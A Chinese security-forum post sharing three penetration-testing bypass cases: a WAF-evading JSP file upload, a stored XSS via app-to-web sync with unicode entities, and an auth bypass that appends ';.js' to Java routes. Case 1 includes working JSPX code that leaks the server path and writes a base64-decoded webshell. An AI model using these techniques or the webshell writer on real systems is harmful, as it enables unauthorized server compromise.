安全矩阵

 找回密码
 立即注册
搜索
查看: 530|回复: 0

三个bypass案例分享

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2023-1-3 13:59:30 | 显示全部楼层 |阅读模式
原文链接:三个bypass案例分享


首发:土司论坛
案例1 文件上传
waf  bypass内容校验+后缀校验
已具备条件:上传处可上传任意类型的文件,但是平台存在waf,直接上传会被拦截
bypass后缀校验
利用原理:
利用服务器解析rfc和waf解析rfc的差异性进行bypass。
waf解析的rfc格式为获取所有filename字段内容
因此利用;
分割符号使服务器的rfc解析获取到的为jspx
而waf获取的为.jspx;即可绕过
因为服务器组件解析获取到;时会停止解析后面的内容
同理以前过某服的waf 也是同样的这个原理
格式:
filename=1.jspzc

案例如下:
正常传一个jpg
编辑
改为后缀为jsp 直接被拦

编辑
双写filename 先将filename="1.txt"放在后面看看waf是怎样获取格式的 发觉被拦截

​编辑


放在前面 且删除双引号 也是被拦截

编辑

尝试将其均改为txt 可进行上传
因此猜测
waf是直接获取的所有的filename字段,然后取后缀是否为jsp或者jspx

即判断是否为wenshell的后缀,且跟双引号无关


编辑

因此猜测利用jspx;
这种方式时waf取的后缀为jspx;
进行尝试 与猜测中相同
直接bypass后缀校验
​编辑

编辑
内容绕过:
这个案例倒不是我写的了  这个目标站的具体图没有了
之前在先知里面看到的一种手法,这里也是利用其进行绕掉了 上传jspx 然后访问获取绝对路径,这里的test.jsp改为服务器已经存在的
  •         jspx


<hi xmlns:hi="http://java.sun.com/JSP/Page">    <hi:scriptlet>        String path = application.getRealPath("test.jsp");        out.println(path);    </hi:scriptlet></hi>
获取到绝对路径后
在利用 上传上去后 如test.jspx?x=6base64编码的webshell 根据waf强度自己改多少次base64 下面这个写马
<hi xmlns:hi="http://java.sun.com/JSP/Page">    <hi:directive.page import="java.util.Base64,java.io.*"/>    <hi:scriptlet>        File file = new File("绝对路径+webshell的名字");        FileWriter fileOut = new FileWriter(file);        Base64.Decoder base64 = Base64.getDecoder();        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8")))))));        try {            fileOut.write(new String(str, "utf-8"));            out.println("写入成功");        } catch (Exception e) {            e.printStackTrace();        } finally {            try {                if (fileOut != null) {                    fileOut.close();                }        } catch (Exception e) {                e.printStackTrace();            }        }    </hi:scriptlet></hi>

最后也是成功写入,成功获取webshell

编辑
案例2 存储xss bypass
apk+论坛联动+unicode编码未禁用导致存储xss bypass
产生原理:
  •         app中过滤禁用了事件属性,但是没禁用标签
  •         手机apk的数据会同步到web网站数据中
  •         web网站中 实体编码了标签,但是没禁用事件属性,如onerror等事件属性,且实体unicode编码未禁用 进而组合可进行绕过


具体案例如下:

①手机app发一个帖子
​编辑


②web网站中
找到刚才同步过去的帖子点击进行编辑

编辑
编辑

编辑输入实体编码 如下

​编辑


然后点击发布即可 弹弹弹 弹走鱼尾纹

编辑

案例3 权限校验绕过
;符号绕过鉴权

原理:requesturi+endswith进行鉴权判断,进而导致权限被绕过
由于requesturi获取路由会把所有的路由均取进来因此可能会导致绕过

编辑

具体案例如下:
找了一圈有图的,找了个审计的
这个是审计出的,也有存黑盒绕过出了的 但是因为图片缺少的原因

所以还是采用这个给大家分享
​编辑

分享这个案例的原因是因为 结合这个案例
我们在对java语言项目做渗透测试的时候

有时候可以考虑在.do或者.action 或者.jsp后面添加;.js或者;.css这种路径
说不定会产生不一样的惊喜
当然啦 ../../+js路由这种手法和//这两种也可以进行测试 也有可能遇到不一样的惊喜



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 17:20 , Processed in 0.015224 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表